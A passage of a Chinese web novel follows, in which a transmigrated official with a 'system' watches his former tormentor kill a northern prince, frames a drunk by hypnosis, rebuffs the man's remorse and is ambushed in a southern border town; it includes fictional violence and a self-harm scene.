沈适忻不理他,眉宇间淡淡的不耐,又硬要往里闯。 门缝里透出光,很让谢璇衣烦躁。 “沈大人!”官鹤咬着后槽牙,手里短刀已然半截出鞘,最后警告他,“我说了,主子今日不见外人,您莫要敬酒不吃吃罚酒。” 沈适忻反笑,“那你呢,别往脸上贴金,沾了哪门子的光不算外人?” 官鹤一时被他绊在话里,既应不了,也尚且心存忌惮,骂不出什么,只得死死盯着对方。 眼见两人僵在原处,房里的人不耐烦。 “官鹤,我这几件衣裳被火烫了洞,你拿去,替我寻位客栈里的绣娘补补。” 谢璇衣从门口伸手,递出一包衣服,支开官鹤。 他便知道这是放人进来的意思,最后狠狠瞪了沈适忻一眼,一步三回头地走了。 沈适忻心里一喜,没料到谢璇衣还愿意与他说两句话。 只是一转身,就见对方抱胸靠在窗边,黑暗中一双眼睛微光。 沈适忻扶着门框,忍着身上的伤痛走进去。 只是抬头,还没来得及开口,就对上一柄雪亮刀锋,莹莹寒光。 昏黑中看不清脸的青年抿唇一笑,姿态像是睥睨。 刀尖隐隐刺透了布料,紧贴着心脏的那块皮肉似乎都感觉到寒意。 “我记得,我曾经说过,再见你一次,必会杀你一次。” “沈大人究竟是贵人忘事,还是给脸不要?” 第28章 刀尖抵着那一寸皮肉,不知是本能还是刺痛,沈适忻向后错了半步。 谢璇衣却觉得无聊,重新收回刀,封入刀鞘。 他还是有自知之明的,知道自己伤不了沈适忻,更不能伤沈适忻。 否则落下话柄,只会惹来麻烦。 “他们可有伤你。” 沈适忻从来学不会安慰人,说话几乎是句句错。 谢璇衣歪头看着他,“看到我活蹦乱跳,你很失望?” “还是沈大人今日来是给我办丧事的?” 他装出一副恍然大悟的样子,像是才看到对方一身白衣和缠绕的绷带。 “那就不必了,毕竟是能克死爹娘的硬命,怕是害了大人。” 沈适忻看着他,像是有些不明白,又像是有期待。 “谢璇衣,我算不算……在还债?” “沈大人说什么?”他似笑非笑,转过去掀开帘子看着窗外的雪,眯了眯眼,“我没什么敢让您还的。” “要真是想给我行方便,滚远点便是了。” 沈适忻忍着一身伤过来找他,却没想到是这个结果。 他有很多很想问的,只是看到谢璇衣的眼神时,一句话也说不出来了。 他也没什么立场问出口。 看着沈适忻的背影,谢璇衣心里平静,说不上什么情绪。 想起方才没看过的信纸,谢璇衣拿起火折子点燃了蜡烛。 那位计划毒杀亲爹的小白眼狼,是三王子乌诏。 脑子不大野心不小,眼见头顶上两个哥哥功勋累累,自知顺位无望,才不知道在哪里想了这么个损招。 这招蠢就蠢在,虽然都城的人马大多听从乌诏,但两个哥哥手里的兵权,却远大于他。 即使北漠王真的毒发身亡,当新王的也轮不上他。 更何况北漠王自身的王位都来路不正,不知多少昔日贵族暗中窥伺。 固然三王子脑子不好使,也多少是位王子,在其他国家惹出动乱,谢璇衣也不大好脱身。 谢璇衣看了一会信息,又把开阳那没营养的信看完,才吹灭了蜡烛,闭目养神。 休息一日,用过晚饭后,官鹤送来新消息,说是王庭已经抓出那日的凶手,能给使臣一个交代,明日便会撤掉客栈外的护卫。 另外,他也打听到三王子明天夜里要去酒楼宴友。 社交本来不是什么大事,只是这是今日才定下的,在这样一个节骨眼上,大摇大摆地宴饮。 也怪不得官鹤会特别提起这件事。 第二日,谢璇衣换好简装,在窗口坠着麻绳,把自己放下后院,从围墙翻了出去。 王宫平日多开东门,谢璇衣远远瞧见高头大马踱步而出。 王子用的车马极尽奢华,看得出这位也是个铺张浪费、大摇大摆的性子。 谢璇衣悄悄跟在马车后面。 虽然不知道能不能解决掉“异常数据”本人,但如果能抓到挑唆乌诏做出异样举动的人,倒也是好事。 治标和治本,总得先选一个。 他的时间也是时间啊。 官鹤一贯是不爱添油加醋的,这次也如此。 说是宴友,就真是宴友,只不过这群友人的档次 说是市井混混也不为过。 这种人莫非真能说服乌诏篡位? 谢璇衣持怀疑态度,默默缩在角落里。 雅间里,一众人喝醉了酒,说话也变得不守规矩,谢璇衣听了一炷香的功夫,便觉得无聊。 和那些喝多了就开始大聊国际局势的人没什么两样,一样令人厌烦。 正这时候,乌诏嘻嘻哈哈从席间撤出来,称是要去小解,又人群拉着哄着喝酒,只得一挥袖袍豪饮三杯。 然而这位醉酒的王子从酒楼出来,虚浮的步子却顿时正常,他谨慎地左右看了看,见无人在意,便独自向反方向的深巷走去。 这实在太让人生疑。 谢璇衣拉下兜帽,追了过去。 第29章 巷子深处,唯有满地的雪莹莹白。 谢璇衣追过去,见那王子面前站着一个身形高挑的男人,正以黑纱遮面,看不清面容。 乌诏很谨慎,站在原地左右看看,左手不断摩挲着腰带上的雕花匕首,问他:“你这要当真神不知鬼不觉?” 男人轻轻笑了笑,“殿下若是不信,今日也不会来赴约。” 他袖袋里装着一只瓷瓶,用指尖捏着细细的瓶口,在乌诏面前晃了晃,“至清如水,一击毙命。” 看到淡青色瓷瓶,乌诏显然激动起来,几乎按捺不住要伸手去抓。 地上的雪被踩得咯吱作响,印着鞋底的灰黑污渍,像是一团身下的影子。 “那我要的呢?”男人收回手,看着矮了半头的乌诏,姿态似乎有些不屑,“只索不予,殿下未免太过于心切了。” 听到这话,乌诏瞪大眼,生怕他要反悔似的,急冲冲伸手要去抢。 “你要什么,还怕本王给不起?” 只是乌诏没他那样好的身手,笨拙地擦身而过,回身撞到对方的小臂上。 男人轻哼了声,似乎在忍痛。 连日朔雪,断断续续,染白了宫殿和枯枝,只有头顶上的天灰蒙蒙盖着不祥的灰黑色。 气温仍然很低,狭窄的巷口有风吹进来,怪异得像是狼嚎。 若隐若现的月亮被翘起的屋檐遮住,赤红灯笼远远亮过月晖,无端诡异。 “殿下当然给得起,只是要看殿下愿不愿意给了。” 乌诏的手腕被钳住,以一个诡异的角度折去,却还没听一声痛呼,下巴就被人卸掉。 “我想要殿下的命,不知道殿下愿不愿意给?” 乌诏痛得面目扭曲,偏头恨恨盯着树梢。 数十暗卫飞身而下,团团围住两人。 “留吾主之命,今日全当从未见……” 其中一人咬牙,还欲同他交涉,却见招摇至极的男人已经轻描淡写地手起刀落。 狠厉而决绝地洞穿了乌诏的喉管,刀尖甚至卡进骨头里。 看着乌诏来不及说完话,就狰狞着断了气,男人才松开抓着对方的手,正视那群暗卫,“想为你们主子报仇?” 猩红的灯笼照着他脸侧的轮廓,睫毛上挂着的血渍很快冻成暗红,黑纱染透了,被人随意地丢在那具尊贵的尸首上。 他没有给王子的尸体一个多余眼神,摸了摸脸上湿润的殷红,指腹还染着淡淡的热意,不过很快褪去了。 变得像地上的霜一样冷。 “来,动手,看看你们配吗?” 这话太有挑衅之意,尽管暗卫还对乌诏的死状心存惧意,却还是咬咬牙冲了过去。 不过都是一群男人。 男人,当然最怕人说自己不行。 “取其首级为吾主报仇!” 先前说话的暗卫从牙缝里挤出这几句,挥着横刀迎头劈下。 只是那攒足力气的一刀还没落下,脖颈上包裹了冰凉的力度。被攥住的血管似乎还在跳动,耳膜跟着鼓沸。 之后,便只能无力地跪倒在地上,失去最后一丝挣扎的力气。 他用尽了最后的一丝生气,眼前涣散前,只看到男人握着他那把刀,拦腰砍倒面前的弟兄。 地上横尸,每一具都各不相同,肢体碎裂,骨血碎溅,粗糙的砖墙挂着溅射状的血迹。 乌诏的尸体竟然还算得上完整,只有喉管插着刀,已经被霜片覆盖。 一地肢体青紫,血迹暗红,那人独自站在其中,像是站在尸山血海的修罗地狱中。 衣摆层层的红,在玄黑中叠着诡异美感,一双眼睛却映着远处的光,胸膛起伏,呼吸均匀。 “恭喜宿主,异常数据清理进度提升。” 系统欢快出声。 乌诏确实死了。 谢璇衣深吸一口气,却后知后觉,意识到肺里刀刮一样的生冷和血腥,恶心得不行。 他从乌诏死,就认出来是谁在动手。 沈适忻倒是会装,前几日还假惺惺来他面前装虚弱,今天就能提刀杀人。 虽然猜不透对方想做什么,不过他既得利益,也没必要在此磋磨。 他开了个好头,其余同僚已经不厌其烦地磨着王庭,办好了此次出使的全部任务。 谢璇衣本来也不是专业的,只是跟出来办事,那些老头也不敢指使他做什么。 本来再有几天就能回帝京,偏偏沈适忻不知道发什么疯,做出这种事。 真会给人惹麻烦。 谢璇衣气得头有些痛。 怎么乌诏花着银子请一堆吃干饭的护卫,怎么就没给沈适忻捅死。 他正盘算着怎么撤离,却听见咯吱咯吱的踩雪声,逐渐由远及近,显然不是沈适忻。 谢璇衣一转头,和那人打了个照面。 “哟,长得倒是貌美。” 那人大腹便便,开口一股酒气,声音却很响。 这下轮到谢璇衣头皮发麻了。 他色眯眯笑着凑过去打量谢璇衣,“这么晚了,一个人在这幽暗之处,莫非是在偷人?” 果然酒鬼就是会忽略一些异常。 谢璇衣看他两眼,忽然站住了,嗤笑一声。 “系统,”他紧盯着胖酒鬼,嘴角上扬,“三级权限可以催眠,对吧?” “是的,但是价格翻倍。” “每二十四小时,扣除积分一百点。” 谢璇衣“啧”了声,“先来十天。” 系统一声“滴”的机械音,是在示意谢璇衣开始。 他的眼瞳似乎一瞬间变得漆黑而深邃,紧紧盯着胖酒鬼。 “你是三皇子乌诏管辖疆土之下的商贩,无力支付苛捐杂税,走投无路。偶然听说乌诏意图谋反,便酒壮怂人胆,设计将人骗到巷子中,趁着中毒昏迷时杀害。” 胖酒鬼跟着喃喃复读,脸色瞬间变得惨白。 “我……我杀了三王子。” 谢璇衣循循善诱,“对,你杀了他。” “快走吧,你现在可是万死不辞的罪人。” “离开这里,逃命去吧。” 这段说辞漏洞百出,做表面功夫糊弄人是够的。 至于糊弄不了的……自有大儒为他辩经。 死掉一个潜在的竞争对手还不脏自己的手,他要是另两位皇子,恐怕嘴角都要笑裂了。 胖酒鬼陷入了癫狂的状态,险些滑倒,肥胖的身躯抵着围墙颤抖,又如梦初醒一样跑出死角。 另一端,沈适忻早已听到声响,不紧不慢地走过来。 那柄随手夺来的长刀鲜血淋漓,在雪地里洗过几遍,仍然擦不掉令人作呕的气息。 “你,你怎么在这里。” 沈适忻一转头,看到谢璇衣抱胸靠在一边,玩味地盯着跑远的胖酒鬼。 “我都看到了。” 他笑了笑,看着很无害,后脑勺被冰凉的墙壁硌得生疼。 “我啊,在等他报官,索你的命呢。” “沈适忻,你凭什么监视我。” 这不是问句,固然话语轻慢,意味却很笃定。 沈适忻身上不断有血滴下来,谢璇衣看在眼里,抬头看向西沉的月。 “你的手伸不到北漠来,跟来是干什么?” 身后的围墙一声轻响,他偏过头,见沈适忻也靠了过来,很少这样平视看他。 “我想帮你,我说了。” “我知道我从前做错了,我早就该知道,我也知道你很难原谅我。” 谢璇衣不为所动,仍然是洗耳恭听的样子。 本就伤口未愈,今日又是一番伤筋动骨,沈适忻的面色也不好看,染着血色的面容苍白透明。 黑衣之下,他胸口起伏着。 “我只是想帮你,只是当做赎罪。” 这些话几乎是用掉他最后的力气。 谢璇衣伸直腿,一挺身站直了,缓慢踱步到他面前,像是在看很新奇的保护动物。 “你帮我?赎罪?” 他扯开沈适忻的衣袖。 衣袖下的绷带已经被血染透,干涸地僵硬,又有源源不断的热血染透了、吸饱了,缓缓地顺着肌肉的线条流下来。 “别回头啊,不回头不过两立,你做你的权贵、你的世家,我行我的修罗道、我的北斗天。” 他笑意微冷,甩下沈适忻的手臂。 “你回头算什么?” “算你算不清的一本乱账,说你后悔。” “真好笑。” 第30章 一口气说完这一长串,谢璇衣稳了稳呼吸,吐出一口浊气,别过头去。 “趁人之危的事情我不做,你最好祈祷没有下次。” 沈适忻的伤口被他一挣,丝丝缕缕的痛觉攀升,却并不觉。 “可是……” 可他不想与谢璇衣分道扬镳。 这个念头像是一枚早就种下的种子,悄无声息地破土生根。 他眼底像是被血浸透了,隐隐发红。 “我想帮你,你要杀谁,我都会比你手底下的人更好用。” “你就把我当做你手下的刀。” 谢璇衣看回去,挑了挑眉,丝毫不为所动。 “沈适忻,我不是习武的行家,不过三脚猫功夫。” “比起想要杀谁,我更想活着,起码表面清白地活着。” “我没有本事、更没有自信,去拿起一把随时会划伤喉咙的刀。” 他说完这话,再也忍受不住浓重的血气,作出一副真不管沈适忻的架势,独自离了小巷。 沈适忻远远看着他的背影,说不出什么话来,眼底仍然红着。 北风自朔漠吹来,冷冽又干涩,像是匕首蹭过脸颊。 谢璇衣死而复生这件事实在蹊跷,他分明死得彻底,又为何毫发无伤地回来,还变得如此古怪。 从举手投足到态度,都大为不同。 或许他本来……不属于这里? 想着那把诡异出现的长刀,和他平白要杀乌诏的态度,沈适忻闭了闭眼。 他回头看了一眼满地的狼藉,把夺来的横刀丢回雪地里。 火折子拔了盖,被人随意丢在地上,很快无风自燃,野火融雪,浩浩荡荡起了一片金红。 而丢火折子的人,已经快步远离,不知道何处去了。 在回旅店的方式上,两人意外地同样默契,都选择了翻窗。 沈适忻脚踏着围墙边缘,借力一蹬,便飞身落在窗沿,撞进房间里清清冷冷的雪气。 他这一身实在狼狈,便叫井仪去寻来热水擦洗。 井仪进他的房间时,尽管早有心理准备,还是被浓郁的血气熏得眉头一皱。 “主子,您这样反反复复撕裂旧伤,恐怕不妥,还是用些药静养一日。” 沈适忻冷着脸看向他,一句“多管闲事”刚冒出个话头,就被井仪委婉地堵了回去。 “否则……您这样留疤的风险更高。” 沈适忻安静下来,顺着他的话想了想。 留疤,那恐怕谢璇衣对他的嘲笑又多一分,恐怕更不会回心转意了。 井仪暗中观察着他的面色,见确实同意了,这才去准备热水,放下药膏离开。 那身狼狈的衣服则被井仪顺手带去处理掉。 他的关心的确不是小题大做。 此时沈适忻身上几乎是新伤叠旧伤,刚结痂的烧伤伤口又被今夜交手时擦破,细小的伤口下,是狰狞的殷红。 要不是他用的药品质够好,恐怕都要血流干死在这里。 这几日反复,几乎都忘了擦着心脏洞穿的那一箭,是需要修养多日的重伤。 或许他真的会死在北漠。 沈适忻勒紧绷带,思绪浑浑噩噩。 他这几日每一晚都在做梦。 梦到他和谢璇衣的过去,可是眼前那张笑靥如花的脸,分明眼底幽怨着。 每当他想要改过自新,想要把遍体鳞伤的少年护下,这场梦便戛然而止了。 像是在嘲笑他,质问他为什么要做这种刻舟求剑的蠢事。 于是今晚,他还是梦到了过去。 这一次是在他旧时的卧房中,再一次经历了自己毫不在意,却成为谢璇衣心底阴影的那一夜。 这一次他是局外人。 大概是旁观者清,这一次没有声色,沈适忻眼底只印下了他嶙峋苍白的手腕,和腰上触目惊心的淤痕,甚至还有心口上的青黑旧伤。 他从不知道那一晚谢璇衣一直哭得压抑,甚至直接晕了过去。 仿佛有人在观摩沈适忻的神态,福至心灵一般,他听到心里的声音。 那是他的杰作。 他在谢璇衣心里留下的,永远难以消除的沉疴。 他认为的“聊胜于无”“尚有姿色”的小竹马,其实早已经是他心里的一枚刺。 他亲手埋下了这根刺,又无知无觉,直到有一天,伤口红肿溃烂,他才觉得痛楚难捱。 和谢璇衣说的一样,他只是流了一点血而已。 他有什么资格说“原谅”。 他做的还……还不够。 梦里,他从凌乱的床上捡起谢璇衣的发簪,攥得指甲在手心留下掐痕。 他盯着不够尖锐的发簪,苍白着面色,用力扎进摊开的右手。 还不够,血还不够多,他要还,还不够…… 簪子从鲜血淋漓的伤口里抽出来,又狠狠没入伤口,再抬起时已经血肉模糊。 “主子!您疯了!” 梦里的簪子被人夺走,沈适忻从中惊醒,满头冷汗,适应片刻眼前的火光。 天已大亮,房门是被人强行踹开的。 井仪身后跟着一个医女,看起来是汉人长相,却比汉人女子高大些。 想来是前几日来给他包扎的大夫。 沈适忻手里的匕首被井仪夺走,一向做事妥帖的青年此刻微微发着抖。 医女想来也被他吓到了,也顾不得看他身上的伤,先匆忙给他手心用了药,包扎得严严实实,像个鹅黄的粽子。 他这才注意到手上的伤。 那把匕首贯穿他整个手心,造成了两道重叠的伤口,险些割断手筋。 对于他这种习武之人,就意味着险些变成废人。 井仪满头大汗,拿袖口擦了擦,破天荒在心底里喊了句“阿弥陀佛”。 他这主子最近不知道为什么疯成这样,想一出是一出,人要是真出事了,他老爹不一刀宰了自己,他也得当着对方面自戕。 医女的汉话说得不是很好,用药和包扎的技术却高明,处理过突发情况后,又照例检查了沈适忻躯干上的伤。 她和井仪用蹩脚的汉话叽里咕噜一阵,后者终于听明白了,像是应付曾经的每一位大夫那样,尽心竭力地扮演一个听得懂话的好家属,把医女送走了。 “主子,您到底梦到什么了,”井仪关好房门,手动上了层锁,欲言又止地看回去,“怎么……” “自残”两字到底不好听,他选择用沉默美化过去。 沈适忻用左手抵着额头,“你看到什么了?” “您今日门窗一直锁着,怎么敲都没人应,”井仪低着头,坐下来一心二用抄药方,准备等下送去配药,“进来的时候,就看到您拿着只枕边的匕首往手心刺,您还紧皱着眉,怎么叫都叫不应。” 是他梦里经历过的,也是他应该捱的。 他看着手心,隔着绑带戳了戳。 几乎麻木到刺痛,一层层知觉层层叠叠地涌上来。 还在痛,竟然叫他放心。 眼看着沈适忻还在自虐,井仪手上一抖,墨汁滴在纸边缘,险些染花了字迹。 他连忙低下头,不敢多看,生怕下次就要换纸重抄。 他给人干货本来就够累了,还没有自家主子这种自虐的爱好- 谢璇衣舒舒服服休息一夜,睁眼天光大亮。 看着头顶的纱幔缓了缓神,他才想起回忆起昨夜的事情。 昨夜回旅店后,官鹤来信,说他的同僚已经替他商议好,他只需要明日一同进宫议事即可。 谢璇衣对他的办事效率提供赞美,并给全年无休的官鹤开了一天假,权衡利弊之下,又亲自给帝京回了封信,简单说了说北漠商业与农业的情况。 这些都算是任务报告的内容,不过他来时路上顺手就瞧见了,倒也不算耽误事。 次日,谢璇衣跟着一众同僚身后,重新回到北漠王宫。 这几日雪已经下透了,天色重新回到澄澈一片的蓝。 谢璇衣抬头看着雪白云层,发梢被风吹起,微微晃了眼。 他很少见到这么漂亮的天色。 南方城市,晴天少,雨天多,生活像是永远泡在淅淅沥沥的灰色里,陷在各种各样无休止的淤泥中,他似乎永远被学业、生活、家庭压得喘不过气。 甚至被酗酒的父亲抓着衣领责骂后,他都没敢抬头,没敢仔细看看那日难得的蔚蓝晴空。 现在,才发现原来天这么美。 他深吸一口气,跟着走进长廊,进入王宫。 哪知道刚进王宫,就听到“扑通”一声,有人隐忍着一声不吭,双膝跪在地上。 这一声引人注意,谢璇衣也微微侧了头,在人群里观察前面跪下的人是谁。 背对着他看不清长相,只能看得出比较年轻,衣着却华美。 今日是王庭与永朝使臣议事,能够参与的北漠臣子并不多,想来是乌诏的哪位哥哥。 像是呼应他心中所想,就听大殿中央跪着的年轻男人声音哽咽。 “父王,您不知王兄心思狠毒,竟然能对胞弟下此毒手!” 他说着,偏头愤恨地面向一旁人。 被他指控的王子一拍桌案,震得一旁烛架微晃,火苗颤颤巍巍。 “你休要胡言乱语!” “胡言乱语?”二王子冷笑,“证人证物具在,你还要垂死挣扎?” 闻声,二王子的下人押上来一个面色煞白的胖男人,正是那一晚谢璇衣遇到的酒鬼。 胖男人此刻却还像是在醉酒,几乎走不利索,东倒西歪,满脸颓唐。 “此人昨夜在城门鬼鬼祟祟,身染血迹,经盘问,竟然是被王兄买凶杀人,”二王子看了眼胖男人,忽然一脸悲戚地看向北漠王,“父王!您要为阿弟主持公道啊!” “王兄心怀杀意,残害同胞,断不可留!” 胖男人只是一同跪着,颤颤巍巍,不敢说话。 北漠王听得心烦。 毕竟是北漠王庭私事,无论手足相残也好,诬陷嫁祸也罢,在使臣这一行人在的情况下,都有些不合时宜了。 于是这件事被他挥挥手压下,使臣一行被请上座商议要事。 这次轮到那群同僚去唇枪舌战,谢璇衣听不懂,就坐在一边放空。 趁着两边说得火热,谢璇衣悄悄问系统,”照这么看二王子在道德上占了上风,他要是真继位了会出bug吗。” 系统又回到那副假人状态,“未查询到异常。”‘ 那就是不用多管闲事了。 谢璇衣放下心来,听着那群心腹臣子和这边的使臣队伍吵得热火朝天,北漠王全程没把自己儿子死的疑心打到他们身上。 一时不知道叹他对儿子毫不在意,还是叹他心大。 不过这都不是他该考虑的事情。 今日议事完毕,北漠王显然也被近几日的乱子忙昏了头,顾不上招待他们,急匆匆选了日子要送他们回去。 谢璇衣回了旅店,被招呼去后院吃烤肉,算旅店单方面尽一尽地主之谊。 酒足饭饱,他才意识到少了什么。 沈适忻终于是放弃跟着他了。 谢璇衣帕子沾了沾唇角,心情更好了- 接下来几日相安无事,王庭内部忙着党争,也顾不上本来就安分守己的使臣。 返程前,谢璇衣也一直没见到沈适忻的人影,他倒是乐得无人打扰。 为了表达北漠诚意,北漠王特地安排了车马,每人单独一顶,护送使臣回帝京。 刚上路,消失几日的官鹤带回来新消息。 彼时谢璇衣正支着头养神,就见一只大鸟撞进来,落在他肩头。 那鸟算是猛禽,体重不轻,谢璇衣毫无防备,被压得肩头一沉,险些歪倒。 他皱眉解下信放鸟离开。 大白天就敢放鸟来送信,官鹤也是越发张扬了。 信上消息简单。 第一,他回京后的安排是立即南下。 这是皇命,官鹤算是公事公办。 第二,沈适忻被京中多位官员联合上书参了一本。 官鹤写的很含糊,只是作为京中异动提醒他一下,并没有太上心。 谢璇衣拧着眉毛看完,很快把纸撕碎处理掉。 皇帝要动沈家了,为什么? 即使是清除世家,也该是逐步剪掉沈家的枝条,留下光秃秃的树干,此时才好任人鱼肉。 就像他的任务,其实一直也是围绕此步展开的。 现在突然大开大合地处理起来……倒像是拿捏住了沈家的命脉。 谢璇衣敲了敲额头,心烦意乱,决心跳过不想。 还是多考虑考虑自己吧,他也摸不清皇帝老头放他南下是什么意思。 官道固然路好走,挂念着沈适忻这个重伤病号不可颠簸,马车进行速度却还是慢的,傍晚到驿站,便停下来歇息。 谢璇衣被颠了一日,现在头也晕着,收拾好床铺,正准备关窗关门歇息,就看到门外的影子。 谢璇衣唇角垮下去,正准备去关门,就被人卡住了。拗不过对方,谢璇衣不耐烦地留下一条缝。 “我要休息了。” 沈适忻像是一道影子,站在他门前,说话时一直紧紧盯着他,像是怕他下一秒跑掉。 “北漠境内常有土匪在官道勒索,你……千万当心。” 谢璇衣心道又是一句废话。 “哦。”他冷漠,伸手去拽门。 拽不动。 不知是角度问题还是光线问题,沈适忻的神情里似乎有一丝乞求。 “谢璇衣,你答应我,一定要好好的。” 谢璇衣回头看他,皱着眉。 沈适忻今天晚上又犯什么病。 “不用您提醒,”他呵呵一笑,“我惜命。更何况,我的伤多数是拜你所赐,别说这么冠冕堂皇的话,听着恶心。” 沈适忻欲言又止,最后从门缝里看着,还是叹了口气。 “对不起。” “那你能不能答应我,起码以后要好好的。” 谢璇衣忍无可忍,也不管对方,用力一合门,从屋内落了锁,又把桌子拖来挡住。 房间内有一扇窗户是对着走廊的,蒙着薄薄的宣纸,烛光摇动,门外人的身影也跟着一晃一晃。 不知道过了多久,门外忽然一声巨响,谢璇衣猛然睁开眼,点着火折子从窗户往外看。 沈适忻手撑着墙半跪在地,被有过一面之缘的暗卫拉着,形容狼狈。 他惨白着脸,紧抿着毫无血色的唇,和谢璇衣隔着小窗对视。 “吵醒你了……” 沈适忻眼前发黑,皮肤下,血液汩汩流动的声音都变得尖锐。 他只能勉强辨认出谢璇衣的方位,还要勉强笑笑,却见对方已经默不作声地关紧了窗户。 里头窸窸窣窣的,像是被人倒别上了锁。 这一幕太过于似曾相识。 太多次,谢璇衣就是这样勉强地笑着,容忍他每一次的过分。 如今身份置换,他被梦魇吓怕了,只是想多看他几眼。 甚至谢璇衣还没做什么,那种失落和尖锐的酸涩就已经铺天盖地。 他都做了些什么…… “您还用得上力气吗?”井仪要扶他先回房间,却发觉一向冷静自持,或叹或笑的沈适忻,此刻浑身抖得厉害,他便低声又问了一句,“主子?” 他发觉到沈适忻在说什么,便侧耳去听。 却听到他喃喃自语,是从未流落过的悲哀。 “井仪,他真的……不要我了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 井仪巴不得自己刚刚什么都没听到,一看沈适忻这幅颓唐模样,却又不好说什么。 他把人带回去,低声劝了两句,“主子,别再折腾自己了,京中实在紧张。” “联合上书那几家行动轨迹都还正常,瞧不出端倪,就像是……像是梦里梦到的一样。” 沈适忻看他,又恢复到那副淡漠的状态,“不必再动用人力查来源了。” “木已成舟,寻根溯源也没用,这几日不要与吴家来往,把那些东西都处理掉。” “是。”是井仪的声音。 “是我大意,”沈适忻转过身去,不一会像是睡沉了,没再说话。 井仪堪堪要走,却听到一声喟叹。 “是我咎由自取。” 天黑沉沉的,辽远的北风从广袤的雪原上吹过来,夹杂着一些牛羊的气息,比任何时候都要厚重。偶然瞧见禽鸟俯冲下来,一个小黑点消失在地平线远处。 此去南行,自是一场恶战。 谢璇衣也没有睡着,侧过头,不经意间看向同一片天空。 太黑了,太空了,像是他无处用力,也抓不到源头。 南下,目的地是与南疆接壤的小城。 所谓强龙难压地头蛇,这座姜城,便是那个自有规矩的地头蛇。 皇帝老头的野心太大了,他的手几乎要伸到南疆去。 比起所谓“派遣任务”,这一趟南下,更像是要他去给不久之后的铁血镇压葬送性命。 难道皇帝已经不信任他了? 谢璇衣头压着小臂,微微发麻。他叹了口气,从窗户外收回视线。 君心难测啊,还是抓紧探查完剩余的异常数据,早些回去吧- 一行车马老老实实把使臣送回帝京。 皇帝慷慨大度,各有封赏。 这一行人里没有谢璇衣和沈适忻。 自回帝京,两人没再有一句交谈,一人回了沈宅,对着罪状坐怀不乱,另一人早早脱身,不待星子满天,就重新踏上这场舟车劳顿的旅途。 姜城不比北国,只是一个很小很小的城市。 小到居民只有几千人,当地的农业并不发达,多数人仰仗与南疆贸易,再送到五十里远的怀城贸易,从中谋取利润。 当地口音还保留着几分南疆特征,着装也大多是鲜艳的明红靛蓝色,就连城中居住也有不少南疆人。 当地人极度排外,尤其是多住南疆人的那片区域。 这样一处几乎可有可无、不受重视的小城,独因其千岩万壑的地势,成为与南疆对峙的第一道关隘。 若是姜城被攻陷,最受影响的,便是其后怀城远至极北的贸易商路。 它几乎支撑着永朝二成收入,若此道沦陷,西南半数城镇与瘫痪无异。 然而正因险要,两军于此对垒许久,已然疲惫,随时可能爆发一场前所未见的战争。 恐怕皇帝老头留的心思,就是让谢璇衣死在这场纷乱中。 “谈大人,”一人身穿轻甲,在他身后抱拳,“您初到姜城,先休息一日吧。前线自有弟兄们严防着,应当不会出问题。” 谢璇衣手上拽着缰绳。 那马是战场上驰骋的宝马,今日只是随他绕着城墙走了一圈,自然不甘心,此时不耐烦地甩了甩蹄子,几乎有把人掀下来的意图。 “不必了,”谢璇衣不动声色地又绕紧一圈,“带我先去集市看看。” 那人不敢忤逆他,自然是连声答应,在前面带路。 即使是冬日,姜城的气温也不低,他带来的那些厚实衣物没有用武之处,借着熟悉地形,刚好采买些当地服饰,混入人群。 今日似乎不是赶集日,即使是往日商贩云集的街道,摊子也稀稀拉拉。 “姜城的市集一直这么冷清吗?” 谢璇衣坐在马背上,看了看两侧紧闭的房屋。 这里的气氛实在古怪,他说不出所以然,却确实感觉到不对。 身后士兵不知为何,动作慢了下来,逐渐和他拉开一段距离。 “系统,”谢璇衣隔开与士兵的距离,小声道,“地图。” 他在第一次进入这个小世界的时候,曾经扫描过一份地图。 “检测到与当前地形存在偏差,偏差值超过5%,是否仍然开启?” “开。” 他一时间没有其他方法。 地图悬浮在视野正中。 他眼前是一道关隘似的城门,身后则是短短的集市。 只要再往前百尺,他就要走进与南疆人杂居的地区了。 马腿被不知何处飞来的石子砸到,一时踉跄。 紧接着,一只尾部鲜艳的长矢迎面袭来,谢璇衣拉住缰绳勉强侧身绕开,箭矢正中马腹。 看来当地人比他预料的还要排外。 第32章 马匹受惊,嘶鸣着高高扬起前蹄,谢璇衣已经扶着马鞍一翻身跳下去,借着马挡住后几支飞来的箭。 射箭的人没什么准头,显然没经历过训练,出手却足够狠辣。 这是他另一个奇怪的地方。 为什么这么排外的南疆人,愿意住进隶属永朝的姜城。 这实在难以用常理解释。 除非…… 谢璇衣眼神扫过周遭的房屋,一挥衣袖,长刀立现。 这全是幌子,官匪勾结、彻头彻尾的欺骗。 或许早已经没有什么姜城了,真正的防线早已经北移。 可为什么他这一路没有收到任何一封有关的书信,甚至连让官鹤带回去的书信都杳无音信。 是谁动了手脚。 谢璇衣提着刀,警觉地慢慢后退,环视四周,脑中飞快过了一遍。 摇光……摇光是和他一同进行这次任务,甚至比他还早到几个时辰,不可能置自己于险境。 天璇、玉衡两人多与择星楼来往,窥天卜命,替皇帝老头做占卜事,他不熟悉。 何况这两人深居简出,无关利害。 天枢之位空缺,天权在地方办事,唯一有动机也有可能的只会是开阳。 只是,为什么? 他实在想不出开阳为什么要这么做。 正此时,窸窸窣窣的脚步声靠了过来。 谢璇衣握紧长刀,慢慢吐出一口气,额上汗珠慢慢滑下来。 他这点功夫,单独对上或许还能搏一搏,若是一群人,恐怕真难逃一死。 他屏息凝神,脚步声变得格外响亮,几乎让人难以忽视。 刀上鲜红的绸缎色泽温润,他正准备挥刀殊死一搏,就听见身后惨叫声四起。 颇为利落的锐器相击声,随后干脆利落地砍断了喉咙。 这一套干脆的剑法听着格外熟悉,他刚从掩体旁侧身去看,那几个从天而降的劲装青年就已经半跪在他面前,齐齐喊了声“公子”。 谢璇衣一头雾水,没敢应声。 几人知他疑惑,打头阵的女人抱拳,先一步站起,双手托上一串细绳穿的铜钱。 “谈公子,这是属下几人的信签,在谁人手,听谁人命。” “我家主子说,他近几日公务缠身走不脱,属下几人代为行走,若公子有任何需求都请吩咐。” “我说过,我不需要他,”谢璇衣不去接那串铜钱,冷着脸看向地上的几人,“你们回去,让他别再自作多情,一抬头犯糊涂病。” 那女人却一提长剑抵在脖颈,语气平静坚决,“主子说,若公子说这样的话,我几人便自刎于公子面前。” “属下几人行暗卫之责,做的都是些暗里见不得光的腌臜事,既不为公子效力,又露脸于您,便没有活下去的必要了。” 谢璇衣气的头痛,夺了那副铜钱。 沈适忻还是太了解他,知道怎样能让他如鲠在喉,食不下咽。 怪不得总一副要和他纠缠一辈子的架势。 